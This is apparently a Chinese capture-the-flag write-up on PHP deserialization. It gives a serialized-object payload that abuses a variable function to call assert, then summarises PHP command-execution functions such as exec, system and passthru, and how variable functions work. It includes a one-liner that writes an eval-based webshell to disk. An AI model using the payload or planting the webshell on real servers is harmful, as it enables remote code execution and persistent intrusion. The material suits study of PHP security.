很简单,直接上最后的payload。
?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D 没有编码是: O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}
但是我想通过这道题总结一下可执行命令函数和可变函数。 理解为什么不用 eval("phpinfo()");
exec()
php会操控计算机执行计算机命令,且获取最后一行数据,没有回显,需要echo输出
<?php echo exec('ipconfig');?>
shell_exec()
system()
会操作计算机执行计算机命令,如果Linux,执行Bash命令,如果Windows执行cmd命令
<?php system("whoami");?> 写入shell <?php system('echo "<?php eval($_REQUEST[8]);?>" > 123.php');?>
passthru() 只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
相同点:都可以获得命令执行的状态码
eval()
assert() 检查断言是否为false。
以前知道可变变量,现在有明白了可变函数。如果一个字符串后面有括号() 。它就会去找与此字符串同名的函数,如果有,就当作函数来执行。
但是 语言构造器和 语言结构(echo,print,unset,isset,empty,include,require等) 属于不可变函数
eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。
从 PHP7.1 之后,assert 也不再是可变函数。
还有一些可执行内部命令的函数没有总结,如`` , preg_replace()的 e 模式。等等